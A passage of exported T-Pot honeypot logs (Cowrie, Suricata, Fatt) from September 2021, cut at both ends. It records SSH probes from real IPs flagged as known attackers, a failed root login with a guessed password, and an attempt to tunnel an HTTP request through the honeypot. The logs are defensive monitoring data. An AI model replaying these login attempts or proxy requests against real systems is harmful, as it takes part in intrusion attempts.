"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
44384	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:35:20.039579+03	2021-09-20 16:45:01.583567+03	{"_id": "7gZrA3wBvYTbRNuEEaYg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:35:20.039579Z", "@timestamp": "2021-09-20T13:35:20.039Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31453	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:45:05.515026+03	2021-09-20 15:00:02.181717+03	{"_id": "JQYGA3wBvYTbRNuEIUQl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "f2f4066816eb", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:45:05.515026Z", "@timestamp": "2021-09-20T11:45:05.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31454	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:45:05.775536+03	2021-09-20 15:00:02.182717+03	{"_id": "JgYGA3wBvYTbRNuEIkTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1648537100148152, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53038, "dest_port": 22, "timestamp": "2021-09-20T11:45:05.775536Z", "@timestamp": "2021-09-20T11:45:05.775Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31455	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:05.516019+03	2021-09-20 15:00:02.183716+03	{"_id": "KAYGA3wBvYTbRNuEI0TH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53038, "timestamp": "2021-09-20T11:45:05.516019", "@timestamp": "2021-09-20T11:45:05.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31456	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:45:09.700123+03	2021-09-20 15:00:02.185719+03	{"_id": "MgYGA3wBvYTbRNuEMETH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/52yj1314] failed", "session": "f2f4066816eb", "@version": "1", "password": "52yj1314", "username": "root", "timestamp": "2021-09-20T11:45:09.700123Z", "@timestamp": "2021-09-20T11:45:09.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31457	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:45:09.970082+03	2021-09-20 15:00:02.186717+03	{"_id": "MwYGA3wBvYTbRNuEMkRu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64649, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 843207110151522, "@version": "1", "in_iface": "enp5s0", "src_port": 40976, "dest_port": 53, "timestamp": "2021-09-20T11:45:09.970082Z", "@timestamp": "2021-09-20T11:45:09.970Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31469	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:45:17.946656+03	2021-09-20 15:00:02.202717+03	{"_id": "UQYGA3wBvYTbRNuEU0T0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "a2b076b7fecc", "@version": "1", "timestamp": "2021-09-20T11:45:17.946656Z", "@timestamp": "2021-09-20T11:45:17.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
31458	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:45:09.419303+03	2021-09-20 15:00:02.187716+03	{"_id": "NAYGA3wBvYTbRNuEMkRu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 18502, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3565, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 882819593494499, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45439, "timestamp": "2021-09-20T11:45:09.419303Z", "@timestamp": "2021-09-20T11:45:09.419Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31459	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:09.467911+03	2021-09-20 15:00:02.188717+03	{"_id": "NwYGA3wBvYTbRNuEM0Rx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35616, "dest_port": 443, "timestamp": "2021-09-20T11:45:09.467911", "@timestamp": "2021-09-20T11:45:09.467Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31460	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:45:10.081556+03	2021-09-20 15:00:02.190716+03	{"_id": "OgYGA3wBvYTbRNuEM0Rx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35618, "timestamp": "2021-09-20T11:45:10.081556", "@timestamp": "2021-09-20T11:45:10.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31461	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:45:10.963594+03	2021-09-20 15:00:02.191717+03	{"_id": "QQYGA3wBvYTbRNuEOESY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "f2f4066816eb", "@version": "1", "duration": 5.448836803436279, "timestamp": "2021-09-20T11:45:10.963594Z", "@timestamp": "2021-09-20T11:45:10.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31462	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:45:17.94599+03	2021-09-20 15:00:02.192717+03	{"_id": "RgYGA3wBvYTbRNuEUUSz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:45:17.821035+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1092695318431531, "payload": "AAADvA4U4A6YHzzcEe830Du1axFDiAAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAJKlkZbjiTb38HnWVHQs", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61708, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:45:17.945990Z", "@timestamp": "2021-09-20T11:45:17.945Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........<...7.;.k.C.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none...................6..y.Tt,"}}	1	\N	\N	alert	\N	\N
31463	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:17.886681+03	2021-09-20 15:00:02.194717+03	{"_id": "SAYGA3wBvYTbRNuEUkSt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 61708, "timestamp": "2021-09-20T11:45:17.886681", "@timestamp": "2021-09-20T11:45:17.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31464	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:45:18.300229+03	2021-09-20 15:00:02.195717+03	{"_id": "UAYGA3wBvYTbRNuEU0T0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632138317.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 69.195.128.18:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632138317.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "session": "a2b076b7fecc", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:45:18.300229Z", "@timestamp": "2021-09-20T11:45:18.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
31465	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:45:17.945912+03	2021-09-20 15:00:02.196717+03	{"_id": "RQYGA3wBvYTbRNuEUUSz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 1092695318431531, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61708, "dest_port": 22, "timestamp": "2021-09-20T11:45:17.945912Z", "@timestamp": "2021-09-20T11:45:17.945Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
31466	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:45:17.94599+03	2021-09-20 15:00:02.198717+03	{"_id": "RwYGA3wBvYTbRNuEUkSt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": 